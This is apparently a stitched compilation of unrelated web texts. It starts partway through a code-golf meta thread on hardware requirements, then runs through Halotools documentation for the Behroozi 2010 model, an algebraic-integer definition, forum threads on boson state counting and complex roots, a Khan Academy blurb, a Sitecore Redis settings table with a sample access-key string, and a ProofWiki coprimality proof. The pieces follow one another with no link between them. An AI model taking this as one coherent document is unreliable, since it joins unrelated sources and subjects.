• So do you mean to say that one may submit answers that only work on precise set of hardware, as long as that setup is "normal" at the time of posting?
May 3 '17 at 20:15
• @Adám Correct. It's really not any different than requiring a specific library or OS, except that hardware can't be downloaded or virtualized as easily.
– user45941
May 3 '17 at 21:22
• I disagree. The hardware setup has to be general enough that a large percentage of computers would get the desired result. Having exactly 3 hard disks of exactly 1TB, 250GB and 128GB is oddly specific, and shouldn't be allowed, even those components are normal today, and having three disks is normal today too.
May 3 '17 at 21:25
• @Adám I would consider such specificity to be unreasonable. However, having > 1 TB of hard drive space would be a reasonable (though questionable) requirement.
– user45941
May 3 '17 at 21:26
• It turns out a mere 45 minutes before you wrote this answer I suggested this unrelated loophole that covers that last part.
– Grain Ghost Mod
May 7 '17 at 2:11
• I've tried to look up GTX Titan. I'm ... not a fan of the design. Though their SLI bridge surely looks better than a ribbon cable. May 12 '17 at 13:38
• @JanDvorak I chose GTX Titans as an example because they're very high-end graphics cards, and two of them SLI'd without liquid cooling would probably result in a fire.
– user45941
May 12 '17 at 13:39
• Don't they have thermometers built in? ... May 12 '17 at 13:40

### The hardware requirements must be broad enough that each requirement separately is fulfilled by a large number of computers

Examples of reasonable hardware requirements:

• 1 TB available hard disk space

• internet connection

• printer attached

• touch screen

• RAID

Examples of unreasonable hardware requirements:

• exact model of a computer

• specific multi-hard drive setup

• 5.25" floppy disk drive

• exact amount of available space

• Honestly, a lot of these don't seem like reasonable requirements to me. Most computers that I have don't have a touch screen, and I don't have any with a printer connected. I have a few RAID arrays, but why should code ever depend on that? And a 1 TB hard disk? Jeez. May 5 '17 at 11:05
• @CodyGray I don't think raid should be needed, but I agree with touch screen. A good many answers on this site are in OS specific languages, so it's not that far off from existing rules. May 6 '17 at 15:11
• @CodyGray I wasn't clear about the 1TB; I meant free, not exactly present.


text:
# Behroozi et al. (2010) Composite Model¶

This section of the documentation describes the basic behavior of the behroozi10 composite subhalo model. To see how this composite model is built by the PrebuiltSubhaloModelFactory class, see behroozi10_model_dictionary.

## Overview of the Behroozi et al. (2010) Model Features¶

This subhalo-based model is an implementation of Behroozi et al. (2010), arXiv:1001.0015. There is a one-to-one mapping between stellar mass and subhalo mass governed by a parameterized form for the stellar-to-halo-mass relation (SMHM). The class where the SMHM behavior is defined is Behroozi10SmHm.

## Building the Behroozi et al. (2010) Model¶

You can build an instance of this model using the PrebuiltSubhaloModelFactory class as follows:

>>> from halotools.empirical_models import PrebuiltSubhaloModelFactory
>>> model = PrebuiltSubhaloModelFactory('behroozi10')

## Customizing the Behroozi et al. (2010) Model¶

There are several keyword arguments you can use to customize the instance returned by the factory:

First, the redshift keyword argument must be set to the redshift of the halo catalog you might populate with this model.

>>> model = PrebuiltSubhaloModelFactory('behroozi10', redshift = 2)

It is not permissible to dynamically change the redshift of the behroozi10 composite model instance. If you want to explore the model variations with redshift, you should instantiate multiple models. Or, alternatively, if you only want to study the underlying analytical SMHM relation, and not populate mocks, you can just build an instance of the Behroozi10SmHm component model class without specifying a redshift, in which case you can call the methods of the Behroozi10SmHm instance for any redshift.

Second, the prim_haloprop_key keyword argument allows you to choose which subhalo property regulates mean stellar mass. In principle, you can choose any column name in the halo catalog you will be populating, but this key should be a mass-like variable in order to get sensible results, e.g., halo_mpeak, halo_macc, etc. It is not permissible to dynamically change the prim_haloprop_key of the behroozi10 composite model instance. If you want to explore the effects of choosing different halo properties, you should instantiate multiple models.

Finally, you can choose how stochasticity between halo and stellar mass is modeled with the scatter_abscissa and scatter_ordinates keywords. These arguments determine the level of scatter in stellar mass, given in dex. The abscissa serve as control points and the ordinates the values of the scatter at those control points. So, for example, if you wanted to have 0.3 dex of scatter at $$M_{\rm halo} = 10^{12}M_{\odot}$$ and 0.1 dex of scatter at $$M_{\rm halo} = 10^{15}M_{\odot}$$:

>>> model = PrebuiltSubhaloModelFactory('behroozi10', scatter_abscissa = [1e12, 1e15], scatter_ordinates = [0.3, 0.1])

For constant scatter, use a one-element python list. It is not permissible to dynamically change the abscissa after instantiation, though you can vary the ordinates by changing the appropriate values in the param_dict. For example, in the above model, the following line will change the scatter to 0.2 dex in $$M_{\rm halo} = 10^{12}M_{\odot}$$ halos:

>>> model.param_dict['scatter_model_param1'] = 0.2

## Populating Mocks and Generating Behroozi et al. (2010) Model Predictions¶

As with any Halotools composite model, the model instance can populate N-body simulations with mock galaxy catalogs. In the following, we’ll show how to do this with fake simulation data via the halocat argument.

>>> from halotools.sim_manager import FakeSim
>>> halocat = FakeSim()
>>> model = PrebuiltSubhaloModelFactory('behroozi10')
>>> model.populate_mock(halocat)

See ModelFactory.populate_mock for information about how to populate your model into different simulations. See Tutorials on analyzing galaxy catalogs for a sequence of worked examples on how to use the mock_observables sub-package to study a wide range of astronomical statistics predicted by your model.

## Studying the Behroozi et al. (2010) Model Features¶

In addition to populating mocks, the behroozi10 model also gives you access to its underlying analytical relations. Here are a few examples:

>>> import numpy as np
>>> halo_mass = np.logspace(11, 15, 100)

To compute the mean stellar mass as a function of halo mass:

>>> mean_sm = model.mean_stellar_mass(prim_haloprop = halo_mass)

## Parameters of the Behroozi et al. (2010) model¶

The best way to learn what the parameters of a model do is to just play with the code: change parameter values, make plots of how the underying analytical relations vary, and also of how the mock observables vary. Here we just give a simple description of the meaning of each parameter. You can also refer to the original Behroozi et al. (2010) publication, arXiv:1001.0015, for further details.

To see how the following parameters are implemented, see Behroozi10SmHm.mean_stellar_mass.

• param_dict[‘smhm_m0_0’] - Characteristic stellar mass at redshift-zero in the $$\langle M_{\ast} \rangle(M_{\rm halo})$$ map.
• param_dict[‘smhm_m0_a’] - Redshift evolution of the characteristic stellar mass.
• param_dict[‘smhm_m1_0’] - Characteristic halo mass at redshift-zero in the $$\langle M_{\ast} \rangle(M_{\rm halo})$$ map.
• param_dict[‘smhm_m1_a’] - Redshift evolution of the characteristic halo mass.
• param_dict[‘smhm_beta_0’] - Low-mass slope at redshift-zero of the $$\langle M_{\ast} \rangle(M_{\rm halo})$$ map.
• param_dict[‘smhm_beta_a’] - Redshift evolution of the low-mass slope.
• param_dict[‘smhm_delta_0’] - High-mass slope at redshift-zero of the $$\langle M_{\ast} \rangle(M_{\rm halo})$$ map.
• param_dict[‘smhm_delta_a’] - Redshift evolution of the high-mass slope.
• param_dict[‘smhm_gamma_0’] - Transition between low- and high-mass behavior at redshift-zero of the $$\langle M_{\ast} \rangle(M_{\rm halo})$$ map.
• param_dict[‘smhm_gamma_a’] - Redshift evolution of the transition.
• param_dict[‘u’scatter_model_param1’] - Log-normal scatter in the stellar-to-halo mass relation.


text:
# Algebraic integer

In algebraic number theory, an algebraic integer is a complex number which is integral over the integers. That is, an algebraic integer is a complex root of some monic polynomial (a polynomial whose leading coefficient is 1) whose coefficients are integers. The set of all algebraic integers A is closed under addition, subtraction and multiplication and therefore is a commutative subring of the complex numbers.

The ring of integers of a number field K, denoted by OK, is the intersection of K and A: it can also be characterised as the maximal order of the field K. Each algebraic integer belongs to the ring of integers of some number field. A number α is an algebraic integer if and only if the ring ${\displaystyle \mathbb {Z} [\alpha ]}$ is finitely generated as an abelian group, which is to say, as a ${\displaystyle \mathbb {Z} }$-module.


text:
# Micro-canonical Ensemble of Ideal Bose Gas

1. Oct 6, 2013

### Ang Han Wei

Hi,
can I know why the number of partitions separating different states have to be taken into account for the derivation of number of states in an ideal Bose Gas but not in the Fermi Gas?

What is the physical significance of this "partition"? In what ways can they vary?

2. Oct 6, 2013

### dauto

That's just a math trick to easily calculate the total number of states. The partitions have no physical significance whatsoever.

3. Oct 6, 2013

### Ang Han Wei

I see that there are some occasions when such partitions are called into use and they have to be taken into the total number of possible states in a factorial, while at other times, they do not appear.

How would one know when such partitions are to be taken into account?

4. Oct 6, 2013

### dauto

The partitions should be used when they help solve the problem at hand. They have no physical significance and it is always possible to solve a problem without mentioning them. But sometimes they make it much easier to solve a problem. For instance, suppose you are calculating the number of ways that you can put two Fermions in three boxes, since each box can contain either zero or one fermion, than you can count them as follows
1: (1|1|0)
2: (1|0|1)
3: (0|1|1)
for a total of three states.
You can see that the first fermion can go in any one of the three boxes, and second fermion can go on any of the remaining 2 boxes. 3*2=6= 3!/1!. At the ed you must divide by 2! because the fermions are identical so permutations among them wont create new states. You have then a total of 3!/(2!*1!)= 3 states. That can be generalized to

# of states = N!/[(N-n)!*n!] for n fermions on N boxes.

Now suppose you have two bosons that need to be placed in three boxes. since you can have more than one boson per boxe (no exclusion principle applies to bosons), there will be more states. Lets count them
1: (2|0|0)
2: (1|1|0)
3: (1|0|1)
4: (0|2|0)
5: (0|1|1)
6: (0|0|2)
for a total of six states. How can we generalize that? Doesn't seem obvious at first.
Here comes the math trick. Lets represent the particles by a '*'. the six states can now be represented as
1: (**||)
2: (*|*|)
3: (*||*)
4: (|**|)
5: (|*|*)
6: (||**)
Physically the '*' represents a particle while the '|' represents nothing whatsoever, it is just part of the notation. But that doesn't matter. Mathematically you have four symbols, Two '*'s and two '|'s. This symbols can be placed in 4!=24 different orders, but since the '*'s are identical we must divide by 2!, and the '|'s are also identical so we also divide by 2!. You have then a total of 4!/(2!*2!)= 6 states. That can be generalized to

# of states = (N+n-1)!/[(N-1)!*n!] for n bosons in N boxes.

Voila!

Last edited: Oct 6, 2013


text:
# Complex number equations.

1. Sep 10, 2014

### HMPARTICLE

1. The problem statement, all variables and given/known data

a) Find the modulus and argument of 6^(1/2) + 2^(1/2)i

b) Solve the equation z^(3/4) = 6^(1/2) + 2^(1/2)i

2. Relevant equations

3. The attempt at a solution

For part a) i used Pythagoras to find the modulus.

( (6^(1/2))^2 + (2^(1/2))^2 )^(1/2) = (6 + 2)^(1/2) = 8^(1/2)

and to find the principle argument of z i said arctan(2^(1/2)/6^(1/2) = pi/6

I assume this is correct.

for part b)

z^(3/4) = 6^(1/2) + 2^(1/2)i

Then

z^(3/4) = 8^(1/2)(cos(pi/6 + 2kpi) +isin(pi/6 + 2kpi))

Then raising the R.H.S of the Equation to 4/3 to get z and Then using de Moivre's theorem.

therefore z = 4(cos(4pi/18 + 8kpi/3) +isin(4pi/18 + 8kpi/3))

This is where i am stuck. As k $\in Z$ i can get a value of theta which is contained within
-pi < theta <= pi when k = 0.
if i assign a value of 1 to K then i get a value of $\vartheta$ which is greater than pi.
the answer i get when K = 0 is wrong and there are 3 solutions. So i must be doing something wrong elsewhere.

I'm sorry in advance if i have made a silly error.

2. Sep 10, 2014

### nrqed

Hi!

I want to focus first on your result for k=0. It looks right to me. What value are you supposed to get ? (this may be a silly comment but if you calculated a numerical value, were you in radians?)

3. Sep 10, 2014

### HMPARTICLE

The answer 7b are the values I should be getting :/

4. Sep 10, 2014

### ehild

First rise the equation to power 4. You get z3. Then take the third roots of the number with k=0.


text:
Khan Academy's "Statistics: Probability Density Functions"

Watch this video, which will introduce you to probability distributions.


text:
# Redis provider settings reference

Abstract

Use this table of Redis provider settings to configure your session state.

Use the following configuration options when you configure a shared or private session state in Sitecore:

Setting

Description

For example

connectionString (1)

Contains the connection string that Sitecore uses to connect to the session database.

Edit to specify the session state database that you want to use.

You can use a connection string name from connectionString or a valid StackExchange.Redis connection string.

connectionString="session"

connectionString="127.0.0.1:6380"

compression

Indicates that you want session state data to be compressed.

The default value is 'false'. Compressing session state data reduces the amount of data that you need to transfer between the database and the Sitecore instance. This may cause some additional CPU overhead.

compression="false"

settingsClassName (2)

Contains an assembly qualified class name that includes the settingsMethod, and returns the 'connectionString' value.

settingsClassName="Sitecore.SessionProvider.Redis.Settings, Sitecore.SessionProvider.Redis"

settingsMethodName (2)

Contains a method name that is defined in the settingsClass. The name must not require any parameters, it must be public, static, and have a return type of [String], which is the 'connectionString' value.

settingsMethodName="GetRedisConnectionString"

host (3)

Specifies your cache endpoint.

host="127.0.0.1"

port (3)

Uses either your non-ssl port or your ssl port, depending on the ssl settings.

port="6380"

accessKey (3)

Uses either the primary or secondary access key for your cache.

accessKey=" STKNJnBR9/DGaNoOATadRu/RY3PFFEZ7Xshk8B5NjNc="

ssl (3)

Secures that the cache/client communicates with ssl, if you ensure the value is set to 'true'. Otherwise set the value to 'false'. The default value is 'true'.

### Important

Make sure you specify the correct port.

ssl="true"

connectionTimeoutInmilliseconds (3)

Allows you to override the connectTimeout setting in the StackExchange.Redis client. If the value is not specified, the default connectTimeout value is '5000'. For more information, see the StackExchange.Redis configuration model.

connectionTimeoutInMilliseconds = "5000"

operationTimeoutInMilliseconds (3)

Allows you to override the syncTimeout setting in the StackExchange.Redis client. If the timeout is not specified, the default syncTimeout value is '1000'. For more information, see the StackExchange.Redis configuration model.

operationTimeoutInMilliseconds = "1000"

throwOnError

Specifies whether to throw an exception in the event of a failure if you set the value to 'true'. If you want the operation to fail silently, set the value to 'false'. The default value is 'true'.

throwOnError="true"

retryTimeoutInMilliseconds

Specifies the maximum duration for the failed operations to retry during the retryTimeoutInMilliseconds interval. The first retry occurs after 20 milliseconds, then every second until the retryTimeoutInMilliseconds interval expires. Immediately after this interval, the operation retries one last time; if the operation still fails, the exception throws back to the caller (depending on the throwOnError setting). The default value is '5000'.

retryTimeoutInMilliseconds="5000"

databaseID

Specifies which database to use for the cache output data. If a database is not specified, the default value is '0'.

databaseId="0"

applicationName

Indicates whether the type of session state is private or shared. The default is empty.

applicationName="private"

pollingEnabled

Specifies whether to enable processing of expired sessions. The default value is 'true'.

pollingEnabled="true"

pollingInterval

Specifies the time interval in seconds that the session state provider uses to check if any sessions have expired. The default value is '2'

pollingInterval="2"

pollingOnSlaves

Specifies which servers to scan for expired sessions. For example, if there are no Redis slave servers, it will scan the master servers for expired sessions. The default value is 'false'.

pollingOnSlaves="false"

pollingBatchSize

Specifies the number of keys iterated with every call to the Redis cache, when you retrieve keys from the key space. The default value is '200', but this is just a hint. For more information on the Count and Match options while using SCAN, see: http://redis.io/commands/scan

pollingBatchSize="200"

pollingExpirationTimeout

Specifies the interval of time that the expired session is locked, (so that it is not used during Session End processing). The default value in seconds is '120'.

pollingExpirationTimeout="120"

pollingMaxExpiredSessionsPerSecond

Limits the number of expired sessions that are processed per second. The default value is '0'.

### Note

The value '0' disables limiting.

pollingMaxExpiredSessionsPerSecond="0"

Key

(1) Specify the 'Redis' connection string in connectionString.

(2) (Optional) Instead of using the connectionString configuration, you can use: settingsClassName, settingsMethodName.

(3) (Optional) Instead of using the connectionString configuration, you can use: host, port, accessKey, ssl, connectionTimeoutInMilliseconds, and operationTimeoutInMilliseconds.

### Note

If you enable pollingOnSlaves, you must set allowAdmin="true" when specifying the connection to a standalone Redis server with replication configured.

For further information use either of the following:


text:
Elements of Primitive Pythagorean Triple are Pairwise Coprime

Theorem

Let $\tuple {x, y, z}$ be a primitive Pythagorean triple.

Then:

$x \perp y$
$y \perp z$
$x \perp z$

That is, all elements of $\tuple {x, y, z}$ are pairwise coprime.

Proof

We have that $x \perp y$ by definition.

Suppose there is a prime divisor $p$ of both $x$ and $z$.

That is:

$\exists p \in \mathbb P: p \divides x, p \divides z$

Then from Prime Divides Power:

$p \divides x^2, p \divides z^2$
$p \divides \paren {z^2 - x^2} = y^2$

So from Prime Divides Power again:

$p \divides y$

and:

$x \not \perp y$

This contradicts our assertion that $\tuple {x, y, z}$ is a primitive Pythagorean triple.

Hence $x \perp z$.

The same argument shows that $y \perp z$.

$\blacksquare$